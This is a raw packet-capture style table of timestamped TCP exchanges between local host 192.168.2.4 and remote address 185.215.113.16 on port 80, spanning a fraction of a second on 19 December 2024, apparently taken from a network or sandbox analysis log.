Dec 19, 2024 07:57:34.221630096 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.221664906 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.223747015 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.223824978 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.224031925 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.224081993 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.226007938 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.226057053 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.226064920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.226095915 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.228179932 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.228245974 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.228296041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.228332996 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.230421066 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.230473042 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.230542898 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.230581999 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.231611013 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.231656075 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.231722116 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.231760025 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.232876062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.232947111 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.232965946 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.232999086 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.234055042 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.234100103 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.234153986 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.234193087 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.235233068 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.235277891 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.235348940 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.235389948 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.236457109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.236510038 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.236530066 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.236563921 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.237668037 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.237716913 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.237765074 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.237802982 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.238861084 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.238903999 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.238955021 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.238990068 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.240066051 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.240114927 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.240190029 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.240227938 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.241244078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.241290092 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.241355896 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.241394997 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.242449999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.242496014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.242537022 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.242573977 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.243653059 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.243694067 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.243757963 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.243797064 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.244860888 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.244910002 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.244955063 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.244990110 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.246053934 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.246102095 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.246150017 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.246184111 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.247267008 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.247323036 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.247366905 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.247404099 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.248464108 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.248508930 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.248573065 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.248609066 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.249666929 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.249712944 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.249835968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.249877930 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.250879049 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.250921965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.250967979 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.251003981 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.252068996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.252126932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.252149105 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.252177954 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.253338099 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.253390074 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.253420115 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.253452063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.254456043 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.254501104 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.254534960 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.254569054 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.255670071 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.255708933 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.255727053 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.255795956 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.256906033 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.256958961 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.257038116 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.257078886 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.258066893 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.258110046 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.258172989 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.258210897 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.259280920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.259326935 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.259335995 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.259366989 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.260458946 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.260571003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.260579109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.260621071 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.261658907 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.261710882 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.261758089 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.261797905 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.262871981 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.262924910 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.262959003 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.262991905 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.264096975 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.264148951 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.264180899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.264215946 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.265276909 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.265332937 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.265336990 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.265383959 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.266484976 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.266541958 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.266566992 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.266601086 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.267690897 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.267745018 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.267771006 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.267810106 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.268852949 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.268898010 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.268946886 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.268985033 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.270080090 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.270128012 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.270162106 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.270201921 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.271269083 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.271326065 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.271363020 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.271397114 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.272463083 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.272511005 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.272547007 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.272581100 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.273641109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.273708105 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.273751974 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.273803949 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.274847984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.274902105 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.274949074 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.274990082 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.276057005 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.276118994 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.276165962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.276202917 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.277272940 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.277326107 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.277426004 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.277470112 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.278480053 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.278532028 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.278611898 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.278651953 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.279995918 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.280050993 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.280165911 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.280210018 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.281454086 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.281543970 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.281605005 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.281738043 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.283080101 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.283133984 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.283185959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.283230066 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.283989906 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.284048080 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.284064054 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.284099102 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.284624100 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.284681082 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.284746885 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.284797907 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.285693884 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.285742998 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.285818100 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.285862923 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.286902905 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.286988020 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.286993980 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.287033081 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.288135052 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.288184881 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.288250923 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.288290024 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.289292097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.289340019 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.289371967 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.289406061 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.290462971 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.290534019 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.290553093 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.290586948 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.291666031 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.291718960 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.291821003 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.291865110 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.292881966 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.292928934 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.292980909 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.293041945 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.294076920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.294125080 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.294183969 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.294230938 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.295269966 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.295332909 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.295376062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.295413971 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.296453953 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.296506882 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.296556950 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.296601057 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.297698975 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.297749043 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.297801018 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.297843933 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.298866987 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.298914909 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.299035072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.299077034 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.300045967 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.300168037 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.300184965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.300231934 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.301285028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.301352024 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.301382065 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.301415920 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.302440882 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.302484035 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.302529097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.302618027 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.303638935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.303692102 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.303741932 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.303782940 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.304806948 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.304862022 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.304910898 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.304944992 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.305998087 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.306041956 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.306061983 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.306098938 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.307190895 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.307235003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.307281971 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.307322979 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.308382988 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.308427095 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.308451891 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.308468103 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.309561968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.309604883 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.309628963 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.309665918 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.310736895 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.310777903 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.310862064 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.310905933 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.311933041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.311991930 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.312036037 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.312072039 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.313055038 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.313102961 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.313141108 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.313175917 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.314263105 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.314327955 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.314336061 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.314368010 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.315702915 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.315824032 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.315851927 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.315870047 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.316536903 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.316579103 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.316625118 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.316662073 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.317670107 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.317717075 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.317773104 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.317806959 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.318877935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.318923950 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.318938971 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.318970919 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.320072889 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.320120096 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.320166111 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.320199013 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.321115017 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.321156979 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.321222067 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.321264982 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.322696924 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.322737932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.322825909 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.322864056 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.323425055 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.323467970 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.323527098 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.323565006 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.324737072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.324817896 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.324865103 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.324898958 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.326139927 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.326152086 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.326181889 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.326198101 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:34.327254057 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:34.327299118 CET	49801	80	192.168.2.4	185.215.113.16
